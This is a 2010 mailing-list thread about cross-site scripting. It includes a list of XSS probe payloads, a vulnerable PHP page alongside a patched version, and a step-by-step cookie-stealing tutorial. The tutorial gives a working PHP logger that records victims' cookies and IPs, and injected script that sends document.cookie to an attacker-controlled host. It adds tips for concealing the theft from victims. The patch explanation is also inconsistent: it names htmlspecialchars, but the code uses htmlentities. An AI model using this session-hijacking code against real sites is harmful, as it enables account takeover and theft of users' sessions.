As per my knowledge, the Web server will not give importance to the request (GET/POST/..) containing Referrer field. Its only an information field to represent reference (kind of used for advertisement purpose).
If I am wrong please correct me. All the above representation is expressed out of my experience; as I was able to impersonate and took the session. Regards, 0xN41K On May 19, 8:25 pm, Phani <[email protected]> wrote: > Hi, > > Most of the browser uses "same origin policy" were these policy permits > scripts running on pages should be originating from the same site. Then how > a cookie stealin is possible? > > And if you get the session ID and want to impersonate you should also know > the "referrer value" then only you can get access to the pages. > > On Wed, May 19, 2010 at 12:31 AM, Sandeep Thakur <[email protected]>wrote: > > > One more place from where you can actually test the XSS vulnerability > > manually is from within the source code specially in the form tag. You can > > modify the source code of webpage and save it again with below kind of value > > to the input tag with the script or any script as given in below mail > > thread. You would know the lapse of XSS countermeasures in server. > > > ---------------------- > > <input type="hidden" name="name" value='ComntrName"><script> > > alert(document.cookie)</script>'> > > ---------------------- > > > Hope everyone understood this one! > > > Regards > > Sandeep Thakur > > > On Tue, May 18, 2010 at 9:42 AM, N41K <[email protected]> wrote: > > >> Hi, > > >> There are many ways to check if the Site or Web Application is > >> Vulnerable to XSS. Few of them are stated below > > >> <script>alert("XSS")</script> > >> /<script>alert('XSS')</script>/ > >> /\<script\>alert(\'XSS\')\<\/script\> > >>http://mysite.org/folder/\<http://mysite.org/folder/%5C> > >> <sCRIPT>alert("d")</sCRIPT>\.pl > >>http://mysite.org/folder/\<http://mysite.org/folder/%5C> > >> <sCRIPT>alert('d')</sCRIPT>\.pl > >> /\<sCRIPT>alert("d")</sCRIPT>\ > >> \<sCRIPT>alert('d')</sCRIPT>\ > >> /<\73CRIP\T>alert("dsf")<\/\73CRIP\T> > >> /<\73CRIP\T>alert('dsf')<\/\73CRIP\T> > >> /</sCRIP/T>alert("dsf")<///sCRIP/T> > >> /</sCRIP/T>alert('dsf')<///sCRIP/T> > > >> THe same above request can be sent using POST, which represents > >> after ? after mysite.org: > > >>http://mysite.org/?<script>alert("XSS")</script> > >>http://mysite.org/?<script>alert('XSS')</script> > >>http://mysite.org/?\<script\>alert(\'XSS\')\<\/script\> > >>http://mysite.org/perl/?\<sCRIPT>alert("d")</sCRIPT>\.pl > >>http://mysite.org/perl/?\<sCRIPT>alert('d')</sCRIPT>\.pl > >>http://mysite.org/?\<sCRIPT>alert("d")</sCRIPT>\ > >>http://mysite.org\?<sCRIPT>alert('d')</sCRIPT>\ > >>http://mysite.org/?<\73CRIP\T>alert("dsf")<\/\73CRIP\T> > >>http://mysite.org/?<\73CRIP\T>alert('dsf')<\/\73CRIP\T> > >>http://mysite.org/?</sCRIP/T>alert("dsf")<///sCRIP/T> > >>http://mysite.org/?</sCRIP/T>alert('dsf')<///sCRIP/T> > > >> *** Also,The above tricks case be used to Test few Security Softwares > >> like WAF (Web Application Firewall) / IPS (Intrusion Prevention > >> System) or IDS. > > >> Regards, > >> 0xN41K > > >> On May 18, 9:17 pm, N41K <[email protected]> wrote: > >> > So, Securing such application is very important. In order to do so, we > >> > need to take care of special functions which will not allow the Remote > >> > Attackers to Execute the Scripts and take advantage of it. > > >> > Lets see actually how an vulnerable code for XSS look like, then after > >> > that we'll secure the application by understanding the right line. > > >> > So, Vulnerable PHP code would be something like this... > > >> > <html> > >> > <head> > >> > <meta http-equiv="Content-Type" content="text/html; > >> > charset=iso-8859-1" /> > >> > <title>Search result:</title> > >> > <style type="text/css"> > >> > <!-- > >> > body,td,th { > >> > color: #FFFFFF;} > > >> > body { > >> > background-color: #000000;} > > >> > --> > >> > </style></head> > >> > <body> > >> > <span class="alert">Search result :</span> <strong><?php echo > >> > $_POST['Vulnerability']; ?></strong> > >> > </body> > >> > </html> > > >> > Now the Secure Code for Vulnerable XSS will be: > > >> > <html> > >> > <head> > >> > <meta http-equiv="Content-Type" content="text/html; > >> > charset=iso-8859-1" /> > >> > <title>Search result:</title> > >> > <style type="text/css"> > >> > <!-- > >> > body,td,th { > >> > color: #FFFFFF;} > > >> > body { > >> > background-color: #000000;} > > >> > --> > >> > </style></head> > >> > <body> > >> > <span class="alert">Search result :</span> <strong><?php > >> > if(isset($_POST['Vulnerability'])) { echo > >> > htmlentities($_POST['Vulnerability']); } ?></strong> > >> > </body> > >> > </html> > > >> > The only difference is the replacement of function; we tried to make > >> > it secure by using htmlspecialchars(); > > >> > Regards, > >> > 0xN41K > > >> > On May 17, 9:10 am, kishore kumar <[email protected]> wrote: > > >> > > *Stealing Cookies With XSS* : > > >> > > Using XSS to Steal Cookies > > >> > > once u find out that a particular page is vulnerable to XSS injection, > >> Now > >> > > what? You want to make it do something useful, like steal cookies. > >> Cookie > >> > > stealing is when you insert a script into the page so that everyone > >> that > >> > > views the modified page inadvertently sends you their session cookie. > >> By > >> > > modifying your session cookie, you can impersonate any user who viewed > >> the > >> > > modified page. So how do you use XSS to steal cookies? > > >> > > The easiest way is to use a three-step process consisting of the > >> injected > >> > > script, the cookie recorder, and the log file. > > >> > > First you'll need to get an account on a server and create two files, > >> > > log.txt and cookiesteal.php. You can leave log.txt empty. This is the > >> file > >> > > your cookie stealer will write to. Now paste this php code into your > >> cookie > >> > > stealer script (cookiesteal.php): > > >> > > Code: > > >> > > <?php > > >> > > function GetIP() > >> > > { > >> > > if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), > >> > > "unknown")) > >> > > $ip = getenv("HTTP_CLIENT_IP"); > >> > > else if (getenv("HTTP_X_FORWARDED_FOR") && > >> > > strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) > >> > > $ip = getenv("HTTP_X_FORWARDED_FOR"); > >> > > else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), > >> > > "unknown")) > >> > > $ip = getenv("REMOTE_ADDR"); > >> > > else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && > >> > > strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) > >> > > $ip = $_SERVER['REMOTE_ADDR']; > >> > > else > >> > > $ip = "unknown"; > >> > > return($ip); > > >> > > } > > >> > > function logData() > >> > > { > >> > > $ipLog="log.txt"; > >> > > $cookie = $_SERVER['QUERY_STRING']; > >> > > $register_globals = (bool) ini_get('register_gobals'); > >> > > if ($register_globals) $ip = getenv('REMOTE_ADDR'); > >> > > else $ip = GetIP(); > > >> > > $rem_port = $_SERVER['REMOTE_PORT']; > >> > > $user_agent = $_SERVER['HTTP_USER_AGENT']; > >> > > $rqst_method = $_SERVER['METHOD']; > >> > > $rem_host = $_SERVER['REMOTE_HOST']; > >> > > $referer = $_SERVER['HTTP_REFERER']; > >> > > $date=date ("l dS of F Y h:i:s A"); > >> > > $log=fopen("$ipLog", "a+"); > > >> > > if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", > >> $ipLog)) > >> > > fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: > >> > > $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | > >> > > COOKIE: $cookie <br>"); > >> > > else > >> > > fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: > >> > > $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | > >> COOKIE: > >> > > $cookie \n\n"); > >> > > fclose($log); > > >> > > } > > >> > > logData(); > > >> > > ?> > > >> > > This script will record the cookies of every user that views it. > > >> > > Now we need to get the vulnerable page to access this script. We can > >> do that > >> > > by modifying our earlier injection: > > >> > > Code: > > >> > > "><script language= "JavaScript">document.location=" > >>http://yoursite.com/cookiesteal.php?cookie="; + > >> > > document.cookie;document.location="http://www.whateversite.com > >> "</script> > > >> > > yoursite.com is the server you're hosting your cookie stealer and log > >> file > >> > > on, and whateversite.com is the vulnerable page you're exploiting. > >> The above > >> > > code redirects the viewer to your script, which records their cookie > >> to your > >> > > log file. It then redirects the viewer back to the unmodified search > >> page so > >> > > they don't know anything happened. Note that this injection will only > >> work > >> > > properly if you aren't actually modifying the page source on the > >> server's > >> > > end. Otherwise the unmodified page will actually be the modified page > >> and > >> > > you'll end up in an endless loop. While this is a working solution, we > >> could > >> > > eliminate this potential issue when using source-modifying injections > >> by > >> > > having the user click a link that redirects them to our stealer: > > >> > > Code: > > >> > > "><a href="#" onclick="document.location=' > >>http://yoursite.com/cookiesteal.php?cookie=' > >> > > +escape(document.cookie);"><Click Me></a></script> > > >> > > This will eliminate the looping problem since the user has to cilck on > >> it > >> > > for it to work, and it's only a one-way link. Of course, then the > >> user's > >> > > trail ends at your cookie stealing script, so you'd need to modify > >> that code > >> > > a little to keep them from suspecting what's going on. You Could just > >> add > >> > > some text to the page saying something like "under construction" by > >> changing > >> > > the end of our php script from this: > > >> > > Code: > > >> > > logData(); > >> > > ?> > > >> > > to this: > >> > > Code: > > >> > > logData(); > > >> > > echo '<b>Page Under Construction</b>' > >> > > ?> > > >> > > Now when you open log.txt, you should see something like this: > > >> > > Code: > > >> > > IP: 125.16.48.169 | PORT: 56840 | HOST: | Agent: Mozilla/5.0 (X11; U; > >> Linux > >> > > i686; en-US; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) > >> > > Firefox/3.0.8 | METHOD: | REF: IFA :: > > ... > > read more » -- You received this message because you are subscribed to the Google Groups "nforceit" group. To post to this group, send an email to [email protected]. To unsubscribe from this group, send email to [email protected]. For more options, visit this group at http://groups.google.com/group/nforceit?hl=en-GB.
